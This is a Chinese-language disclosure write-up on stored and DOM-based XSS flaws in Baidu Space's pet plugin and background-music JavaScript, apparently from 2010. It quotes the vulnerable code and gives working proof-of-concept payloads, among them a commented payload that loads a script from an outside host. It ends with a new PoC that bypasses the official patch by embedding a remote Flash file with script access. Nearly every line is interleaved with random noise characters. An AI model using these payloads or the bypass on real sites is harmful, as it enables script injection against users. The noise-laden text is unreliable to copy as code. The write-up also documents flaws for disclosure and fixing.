百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
( Q R* }. ~1 r0 {) P) ~
* R( o0 B0 P @% V' Y; ?+ O1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
: M9 N' a+ T% R$ b& c1 d2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
. P. w8 [8 ^1 _% V9 _$ {+ ]+ l
: `* V( q+ l% i- [0 g2 ]& l* s将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
6 c7 a4 j+ m6 F其中BdUtil.insertWBR为 ; E5 B; h; ?9 L/ x' D5 i/ R) S
function(text, step) {
0 x+ D3 k: _6 m( V var textarea = textAreaCache || getContainer();
9 z2 y" e9 O' y; ~1 o: q if (!textarea) { " p% \& o5 C5 V) v1 B
return text; / _: Y, v) K# Y$ c1 l* i
} ( K1 K* W% e- h- y; u) W+ o7 c" Q
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
7 n$ Y9 A( v# Y7 y/ E; _& u. b" x) k var string = textarea.value; 2 c$ a5 u5 p3 a# ]' c% `9 c a
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); : c# d2 z- d' Z, Q
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); / V9 k4 t7 w" d" ~
return result;
- ?8 f) f( ]3 k1 P} . |8 W q- x. G: b4 c
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. ) ]5 Y" M- j& ^% |9 t# v
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> R: z+ Q/ H" {% ]) F. L, @" U
: L. y5 r, w6 p9 G( X$ M6 K二:creatbgmusic() Dom-Xss Bug
3 q$ Q1 i" ]0 `# P7 b百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
. L! n: u) x6 A4 R4 l6 a6 e
! {! c5 G. f* E1 o, |: w在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: 4 N6 x, f/ s2 S
3 Z) g9 a$ n. N! W; K
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
6 K s* F, A7 ~, a8 @9 p3 q //传入的murl赋值到bgmusic1和bgmusic2中 + B6 Q5 B5 i+ T/ o" l
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 ' {5 s) P! R: Z/ Y5 E
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
7 q4 q) I& V. z% b, r if (musicnum <= 1) {
% A( t6 i" K% {' A8 J bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; + r3 `+ }% o5 I* d0 ^; n0 v$ K
}
& u. L9 o8 y5 C( _; O/ y8 ?" U bgmusic1 += "</OBJECT>";
' R7 e2 _( R J var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; - N Q( b3 H( z, `
if (musicnum <= 1) { 2 w0 v9 ~, }/ e+ u) }4 c- O' W
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; * Y8 V) H: e( L; d
}
$ w# l B8 h0 w8 `+ {$ T D( a bgmusic2 += "> </EMBED>";
: [% g5 C* M0 q1 ^: W var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
^/ q. O( \ e6 x0 E/ w* [ var bgmus = detectWMP();
% a; E$ U( ?- w g if (functype == "FckMusicHelper") { 2 p8 ?7 J& u7 I! Y- n, X* o
if (bgmus.installed) { , r( t9 G7 h: T4 u7 r, p! m8 ?
if (bgmus.type == "IE") { 0 G% w- s8 P1 o0 d( X
return bgmusic1;
8 x& O; r- C; H+ ~0 Q } else if (bgmus.type == "NS") { $ w$ S& \; U: _2 u- t9 d
return bgmusic2; 4 d1 B3 r$ M# o B( W9 v+ C; h q
} : B# G2 b* }- t7 ]4 a9 S) a. H$ Y
} else {
4 G `4 @4 u) \: d return bgmusic3; + H% b1 D! ~7 G$ N8 V) |
} / y: w3 b) U9 P& ^. h
} else {
8 ?0 L3 j- n. } if (bgmus.installed) {
3 S' p/ A: E* S2 M" v //document.write 直接输出bgmusic变量 导致xss , a! `6 H. r: ?) }( }
if (bgmus.type == "IE") {
1 G$ }' j" j2 T2 F: e document.write(bgmusic1); : v7 _& u4 ?/ _! K8 N
} else if (bgmus.type == "NS") {
1 Z: ]2 T% v+ x document.write(bgmusic2);
; d# c1 F2 ?. x5 {# z+ k, y8 I }
7 w5 b6 q2 K/ U3 v1 z" ? } else { " b1 s$ M( h' u2 u& K
document.write(bgmusic3);
. h( D. V. A3 b6 Z- h } 3 O* w" F. L% V9 p% r# M2 g
return ""; 0 Z* X5 k0 ~) G$ r! |% h
}
- S: f8 K/ b, _, {: x- F! }} - L9 r5 l( B A4 P$ e4 t
! Y0 b% D5 n' n在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: . h. D4 o2 r) i* x7 l
1 |1 X: r- P& N' e! q) _4 o" `
function initBlogTextForFCK(){
# e& D$ ]; O( |& x2 M& k- B; X9 ^) z//fck init music
3 J9 b7 H9 o" a/ S' m7 B' H& nif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
% I; }. ]2 U& Tvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
. f7 F. e8 v6 i. t+ d8 Nvar isAutoPlay=true;
1 K- m0 a' {7 I9 ]+ f; Ufor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. ' K: v# q4 G: N+ _! X
var img=imgBox;
+ c4 l# X% Q0 q, ^ if(img.getAttribute(’rel’)){ * d- V/ J# Y- g; o+ a+ w- j
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
, x- m- R. ~0 M) [, M var musicDiv = document.createElement("SPAN");
1 q5 m {) Y. j! n6 P- c/ o. {" U var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
7 m9 u d3 H- s) G7 n$ _
) j+ \2 q" p0 [ ..........................
/ Y/ t8 C5 A+ Y) K6 P5 U& l w
6 L; B6 `7 Q0 V# d. [: K7 a3 _" @' [ //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
' ~! b& C; x; ?; ~2 c. c var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
_* E6 N' j n% X shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); & j( P4 r; ~2 Q% W2 N* E
musicDiv.innerHTML=shtml;
& Z" [1 j6 e1 ]$ W- ?0 } i--;n--;
) }6 q; D7 q7 N7 Q7 m/ c2 _$ D }
" a6 \5 v7 J' |} ; g9 n+ ?$ p: b3 n8 y5 o
( i+ i1 r' R T5 ^; a从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
8 ^7 `' i% _5 m) z% N 6 y$ m: |7 m" b' `; }. f- o. T1 a3 _
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 2 T1 l1 ?: @" c. h
( U/ J9 J+ m. ]- u( X/ E1 p: H
等待官方补丁
2 W& a8 P# t) b: ]. }( Z
: c/ t" R, y; v* A- V# ?update 2010年5月13日 4 }" t5 v; Y6 C. M7 \! e( ^
. E* r! @! ~* \/ b/ O
官方补丁: % d5 `6 S1 Q* R: m6 ^1 g
' {. n( k. _+ y8 f8 d6 B
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
! r- ` M: ]4 n) e改为:
% v) j# H+ s8 k8 E" _3 wvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
8 |0 Y. @; Z Y4 R' S& l6 E1 F" J# I
update 2010年5月13日 21:50:37
1 |# |. Y, m, _) T- _8 @$ ]" Y L& h. {) f. v
补丁存在漏洞 没有过滤" 可以继续跨: & h( Y: d( M, B2 L9 R* d! F: S, s6 C
# p% I" P! p' g( C. X- A
NEW POC: , Q# K" l- s* V1 m& G9 g/ O! h
+ i* k0 Z6 I2 _6 ~( R5 u
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
1 D V2 u, k- x v
8 k5 D8 J7 V" c2 wallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>- E; ]# L0 `, v, g& E5 ^
) [" [6 `; C6 G |